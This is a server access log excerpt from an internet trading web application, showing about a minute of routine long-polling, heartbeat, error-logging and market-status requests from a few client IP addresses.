[09/Jan/2026:15:18:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943379521 HTTP/1.1" -
[09/Jan/2026:15:18:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943380918 HTTP/1.1" -
[09/Jan/2026:15:18:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:18:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:18:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943396857 HTTP/1.1" -
[09/Jan/2026:15:18:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943388424 HTTP/1.1" -
[09/Jan/2026:15:18:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943382202 HTTP/1.1" -
[09/Jan/2026:15:18:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943384637 HTTP/1.1" -
[09/Jan/2026:15:18:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:18:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:18:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943385942 HTTP/1.1" -
[09/Jan/2026:15:18:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943401913 HTTP/1.1" -
[09/Jan/2026:15:18:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943393498 HTTP/1.1" -
[09/Jan/2026:15:18:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943387313 HTTP/1.1" -
[09/Jan/2026:15:18:39 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943389667 HTTP/1.1" -
[09/Jan/2026:15:18:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:18:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:18:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:18:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:18:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943390964 HTTP/1.1" -
[09/Jan/2026:15:18:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943406950 HTTP/1.1" -
[09/Jan/2026:15:18:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943398606 HTTP/1.1" -
[09/Jan/2026:15:18:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943392448 HTTP/1.1" -
[09/Jan/2026:15:18:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:18:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:18:44 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943394749 HTTP/1.1" -
[09/Jan/2026:15:18:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943396004 HTTP/1.1" -
[09/Jan/2026:15:18:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943411985 HTTP/1.1" -
[09/Jan/2026:15:18:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943403676 HTTP/1.1" -
[09/Jan/2026:15:18:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943397602 HTTP/1.1" -
[09/Jan/2026:15:18:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:18:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:18:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943399843 HTTP/1.1" -
[09/Jan/2026:15:18:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943401047 HTTP/1.1" -
[09/Jan/2026:15:18:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943417015 HTTP/1.1" -
[09/Jan/2026:15:18:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943408702 HTTP/1.1" -
[09/Jan/2026:15:18:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943402722 HTTP/1.1" -
[09/Jan/2026:15:18:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:18:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:18:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943404869 HTTP/1.1" -
[09/Jan/2026:15:18:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:18:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:18:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943406096 HTTP/1.1" -
[09/Jan/2026:15:18:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:18:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:18:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:18:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:18:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943422075 HTTP/1.1" -
[09/Jan/2026:15:18:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943413820 HTTP/1.1" -
[09/Jan/2026:15:18:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943407849 HTTP/1.1" -
[09/Jan/2026:15:19:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943409968 HTTP/1.1" -
[09/Jan/2026:15:19:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943411139 HTTP/1.1" -
[09/Jan/2026:15:19:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:19:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:19:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943427109 HTTP/1.1" -
[09/Jan/2026:15:19:03 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943418846 HTTP/1.1" -
[09/Jan/2026:15:19:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943412911 HTTP/1.1" -
[09/Jan/2026:15:19:05 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943415059 HTTP/1.1" -
[09/Jan/2026:15:19:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:19:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:19:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943416171 HTTP/1.1" -
[09/Jan/2026:15:19:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943432163 HTTP/1.1" -
[09/Jan/2026:15:19:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943423917 HTTP/1.1" -
[09/Jan/2026:15:19:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943418056 HTTP/1.1" -
[09/Jan/2026:15:19:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:19:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:19:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:19:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:19:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943420106 HTTP/1.1" -
[09/Jan/2026:15:19:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943421206 HTTP/1.1" -
[09/Jan/2026:15:19:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943437244 HTTP/1.1" -
[09/Jan/2026:15:19:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943429030 HTTP/1.1" -
[09/Jan/2026:15:19:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943423172 HTTP/1.1" -
[09/Jan/2026:15:19:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:19:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:19:15 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943425205 HTTP/1.1" -
[09/Jan/2026:15:19:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943426254 HTTP/1.1" -
[09/Jan/2026:15:19:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943442269 HTTP/1.1" -
[09/Jan/2026:15:19:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943434099 HTTP/1.1" -
[09/Jan/2026:15:19:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943428292 HTTP/1.1" -
[09/Jan/2026:15:19:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:19:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:19:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943430286 HTTP/1.1" -
[09/Jan/2026:15:19:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943431289 HTTP/1.1" -
[09/Jan/2026:15:19:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943447300 HTTP/1.1" -
[09/Jan/2026:15:19:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943439146 HTTP/1.1" -
[09/Jan/2026:15:19:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:19:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:19:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943433573 HTTP/1.1" -
[09/Jan/2026:15:19:25 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943435344 HTTP/1.1" -
[09/Jan/2026:15:19:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:19:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:19:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943436322 HTTP/1.1" -
